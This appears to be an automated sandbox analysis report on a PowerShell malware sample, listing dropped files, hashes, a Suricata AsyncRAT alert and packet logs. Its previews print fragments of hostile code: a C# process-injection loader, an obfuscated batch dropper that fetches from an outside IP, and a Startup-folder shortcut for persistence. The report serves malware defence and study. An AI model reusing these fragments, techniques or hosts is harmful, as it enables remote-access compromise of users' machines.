Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................$@...J....M+.B........System.Transactions.8..................1...L..U;V.<}........System.Numerics.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\RES617A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Tue Jan 7 06:38:23 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.9912137203615257
Encrypted:	false
SSDEEP:	24:HRK9oVaDxftbaHkwKKjmNII+ycuZhNZakS3PNnqSed:9IaLKMmu1ulZa3lqS+
MD5:	D396B75DCD4C9779D9E3FDD2A6327880
SHA1:	C72462245B4B9B7352CFDAE24E2E05FAC19E865F
SHA-256:	C9D8C5836A90D873AC5CF3C6714FE1A0AB8588920A94C533FF8E48061DFDF6F1
SHA-512:	8EEC0236F57CF4C1F3B5F1A29CC3AEAB80D101983553DE0817CD33B908794CDE07D33184A26182E8616AAAFE778FB76C687581DDFC1785EBAD64C881BED259B4
Malicious:	false
Preview:	L.....\|g.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP.................c,....y....Y.............7.......C:\Users\user\AppData\Local\Temp\RES617A.tmp.-.<....................a..Microsoft (R) CVTRES.a.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.f.y.3.2.0.0.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0n4hlphe.l1v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfnvbu32.mp3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqh5fgkf.3qi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5e5cqbb.p5t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0959731367919052
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryFEGak7YnqqUEXPN5Dlq5J:+RI+ycuZhNZakS3PNnqX
MD5:	DB632CA58DE80F790CC7EF1959D700EF
SHA1:	0F6AF8F8D8358D906AAB2BA82D87BA6CE2BB2266
SHA-256:	3BD34C3EBA16ADDB0503A19838344966DA31990CCEEC294AD0CCFCAFB05E3336
SHA-512:	5F2065BBE5C5DD7FEAFFB97C21C34D3D42313AA92DAA6C884BCDB5290CC7B51B228364D8281D5CEFCA1B7C6BA9626D9739C579D09E473C69308E9F7068C324D4
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.f.y.3.2.0.0.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...n.f.y.3.2.0.0.k...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.5458267039399365
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6kT:2oYLoH97t/Z7pgjvzf5tT
MD5:	4CFFC8D6FE3870E0046B7BE9BFF146AA
SHA1:	AEE44D9772C5392C5DA7237BA0090CBADFD4EEAC
SHA-256:	E6518D89D7C8F761A277FE634FED0C41A4DEEE7C8D5CD4EACA503D88F247EC83
SHA-512:	42FA00F7CE8FB9F77F1C7B3B140BB6708D01609BBC77514E86D34C1ED82B2D6A0A4F4775674043C3E4A486E4E19F3DCF3C0D33F73FCD79E75126B2F42FAC136A
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.087225372394673
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2N723fb50zxszIN723fb5BHn:p37L/6K2aD50taDDn
MD5:	D2C4055DE230D86BA6018FC0D5D6F766
SHA1:	6CF8469E845D7D81438066C36A3A87A3369278E5
SHA-256:	BB90201656B66D7FDBB89EFC94F097E80484F8B3E81CA0D3EADF6FFAE13C05D5
SHA-512:	877FA1C5476370137900D7CF7123EA5E81D77A6CF0F0DAF23A11542E14B761E7CF5925B2CDB5BA01260D6A295E1FBD5A06C81767C7F7C1EEDD41DFA9CACCFA07
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.0.cs"

C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.629818251838896
Encrypted:	false
SSDEEP:	192:CRH6HN4QhfNQ8q8888yYAdsNRjOaiGUxRa95MqBY3eN45p:lNxNU9O0+a95MqXS5p
MD5:	C66459383FB23827E8B9123EE883D123
SHA1:	9CB50F60313E7F8E1C8BBA2C6387DD06095AEF06
SHA-256:	5249037B73A7B886E99BFD906BEDE7EAA38E97BC615C2FF9BAA383FF9AF34D6C
SHA-512:	F8F06A17A97C494AA9AFB690663A85002498F62DB9D923386AF69FDC60AC84C7A1F65555FD0D7952D1C9CB10D5083E0CA181031B7811EF2E17177EFDA2667518
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\|g...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	713
Entropy (8bit):	5.248611842774615
Encrypted:	false
SSDEEP:	12:KO2z/IR37L/6K2aD50taDDuKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuIdn6K2aDGaDDuKax5DqBVKVrdFAMb
MD5:	BDF7D8842402CC6B699CDF49B91798AE
SHA1:	BD876325E8DE62E1DD270CAD4687C0CAE415CA95
SHA-256:	5549E8A07DCE05216A78A71F2524E5CA78A2B8F024FD6D133DF29E5373490A35
SHA-512:	D216FCC33A09C1648713409D29ECBA35D8AC70477E05AF1B99CAB239044748CBFDFCF69CB5D3EB2BFDBDED829D45B9AC61D457446872778D86A682D7A103D639
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7305004495106315
Encrypted:	false
SSDEEP:	96:1YPvm1I76X3CEJTWkvhkvCCtSe8mXeEHNe8mXe7H5:aP+1I76ZJeSe8mje8m+
MD5:	354CB311ED1BBD4A7D146398FD553C01
SHA1:	9C8B24992BCD1BA379BDADC98DBE56ECBAD733BE
SHA-256:	00B7AB02CACC8EF1B72B9B3B8BEBB13FD1FCB4E25F12D9351650375E37561896
SHA-512:	CF192DFCA0C5BA370C0FA5E10DAC6B9D185410027B4AD559EAD67FCEB9BB9EEEEB611396E6B245B68008580913EBFABA211CA3603DFE825CB15CA8A0E0F25E1B
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S........`..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....Vd..`..Ur...`......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2'Z{)...........................^.A.p.p.D.a.t.a...B.V.1.....'Zy)..Roaming.@......EW<2'Zy)..../.........................R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2'Zv)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2'Zv)....2.....................K.,.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2'Zv)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2'Zv)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2'Z\|)....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U3B6TOYIL69RPMTXKML4.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7305004495106315
Encrypted:	false
SSDEEP:	96:1YPvm1I76X3CEJTWkvhkvCCtSe8mXeEHNe8mXe7H5:aP+1I76ZJeSe8mje8m+
MD5:	354CB311ED1BBD4A7D146398FD553C01
SHA1:	9C8B24992BCD1BA379BDADC98DBE56ECBAD733BE
SHA-256:	00B7AB02CACC8EF1B72B9B3B8BEBB13FD1FCB4E25F12D9351650375E37561896
SHA-512:	CF192DFCA0C5BA370C0FA5E10DAC6B9D185410027B4AD559EAD67FCEB9BB9EEEEB611396E6B245B68008580913EBFABA211CA3603DFE825CB15CA8A0E0F25E1B
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S........`..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....Vd..`..Ur...`......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2'Z{)...........................^.A.p.p.D.a.t.a...B.V.1.....'Zy)..Roaming.@......EW<2'Zy)..../.........................R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2'Zv)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2'Zv)....2.....................K.,.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2'Zv)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2'Zv)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2'Z\|)....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:\Windows\Temp\Pack.bat>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.998079219594343
Encrypted:	false
SSDEEP:	3:HRAbABGQYm5sMsgMy:HRYFVmyMsa
MD5:	5B6B8EB0E51D10345B17687D8787296C
SHA1:	18FD419CAB714D84390DF0D50FEABF787CB0CC98
SHA-256:	27828C60AE9EC5AC624B3B607EA6255FCC246CB15F682A425EA6BFABB4D90054
SHA-512:	98AF1DE5BC03241078284609ED96EB4213844CA2666398D6D6CD322B9792615C6FC5FFA46DA53AE0EEB13DD8F8056483E0895E497DE3BF9DDD532A9DFFE00145
Malicious:	true
Preview:	[InternetShortcut]..URL=file:///C:\Windows\Temp\Pack.bat..

C:\Windows\Temp\Pack.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1207), with CRLF line terminators
Category:	dropped
Size (bytes):	5984
Entropy (8bit):	4.225503054935712
Encrypted:	false
SSDEEP:	48:eJhMTK/9b0XlysmioVJvPxHTceFed5/r9ZbBA2K3y:e2/WHHVTM5/r9RB/
MD5:	380F7A432A6528223C05A2D48990827C
SHA1:	EA7D06B5ACDA2F1AFACD348FE64454FADAA4ECE4
SHA-256:	CB6AAA288E92A75B77120F5996CDDACF5374C5FCC3679F942554D52F740149C6
SHA-512:	CF16E64182CAB9F2ECF9AE4351BE69D0BCE0833973F2071DF76E1061CDA9128C54392FFDE006C64D41F4C26D3086CDCC85EA0410ECB29887F72F40DB33A0C803
Malicious:	true
Preview:	@%.U.`....t.%e%.U.`....%c%.U.`....%h%.U.`....%o%.U.`....% %.U.`....%o%.U.`....%f%.U.`....%f%.U.`....%..s%.U.`....%e%.U.`....%t%.U.`....%l%.U.`....%o%.U.`....%c%.U.`....%a%.U.`....%l%.U.`....%....s%.U.`....%e%.U.`....%t%.U.`....% %.U.`....%"%.U.`....%u%.U.`....%r%.U.`....%l%.U.`....%=%.U.`....%h%.U.`....%t%.U.`....%t%.U.`....%p%.U.`....%:%.U.`....%/%.U.`....%/%.U.`....%1%.U.`....%4%.U.`....%7%.U.`....%.%.U.`....%4%.U.`....%5%.U.`....%.%.U.`....%4%.U.`....%4%.U.`....%.%.U.`....%1%.U.`....%3%.U.`....%1%.U.`....%/%.U.`....%i%.U.`....%n%.U.`....%f%.U.`....%o%.U.`....%p%.U.`....%a%

Static File Info

General

File type:	ASCII text, with very long lines (4722), with CRLF line terminators
Entropy (8bit):	6.023619471457944
TrID:
File name:	sfqbr.ps1
File size:	22'030 bytes
MD5:	524fca1eea0f55f1ad6281325664dcb4
SHA1:	fa39a3bb823909c0294804a32303378ac25e0492
SHA256:	b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff
SHA512:	a8002af2535c7fa629b7375943ade44f36fe0b76ccc324ab35d09e96931f7e5fc82c88787a423ae96ad58d2683f870693edb6f5cbafdd4b6576f3d1a09ff24b2
SSDEEP:	384:zIAXUpjxl+K++gtu0P1GUK++qUpjxl6Upjxl+mATyK++IcmATpPsPWmATEP9rPva:zIAMVl+7+gbh7+3VlnVliTy7+IITJqKh
TLSH:	E6A28E7B91C070C77FAE7B505BF7ADD7BAF2143E619820EC6965C132932B84890091E3
File Content Preview:	..$bOsBLnF01BPxR9RknSeWAIgbb7gxSd6nQvaaz0Dd3Mx1t9NLL2WsCToSrQjNHShYFlhfi0uwOBdxUosctUlaGOl6HHsiQzVkpZwHcrnVHjdB008DhHewqHS0AlYaILfZp2I52l9BrQSgukFQJpBJUi4hG5H1TNM5EDV7sCL6HdFZyvGafIQcKWEH8ky6eIseDWcrOHhGeFB1cesVzqVK6uvr8O9HOOc8vlVcTZLXkJ8EVNod1dGxxhhTlvsA

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T06:12:10.576354+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	94.130.22.61	4449	192.168.2.6	49742	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 06:11:58.752806902 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:58.757693052 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:58.757781029 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:58.761396885 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:58.766189098 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393201113 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393217087 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393228054 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393238068 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393250942 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393260002 CET	80	49709	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.393280029 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.393340111 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.560120106 CET	49709	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.757971048 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.763978004 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:11:59.764043093 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.766478062 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:11:59.771419048 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416176081 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416213036 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416224003 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416234970 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416244984 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416254997 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416265965 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416276932 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416287899 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416299105 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.416352987 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.416400909 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.421998978 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.422010899 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.422086954 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.506759882 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.506778002 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.506788015 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.506798983 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.506850958 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.507080078 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.507112980 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.507199049 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.507426977 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.507437944 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.507448912 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:00.507473946 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:00.555099964 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.052222013 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.057188988 CET	80	49710	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.057240963 CET	49710	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.241864920 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.246810913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.246876001 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.247064114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.251801014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892477036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892502069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892524958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892535925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892546892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892556906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892563105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892569065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892566919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.892579079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892591000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.892611027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.892611027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.892636061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.892636061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.897439003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.897463083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.897551060 CET	49712	80	192.168.2.6	147.45.44.131
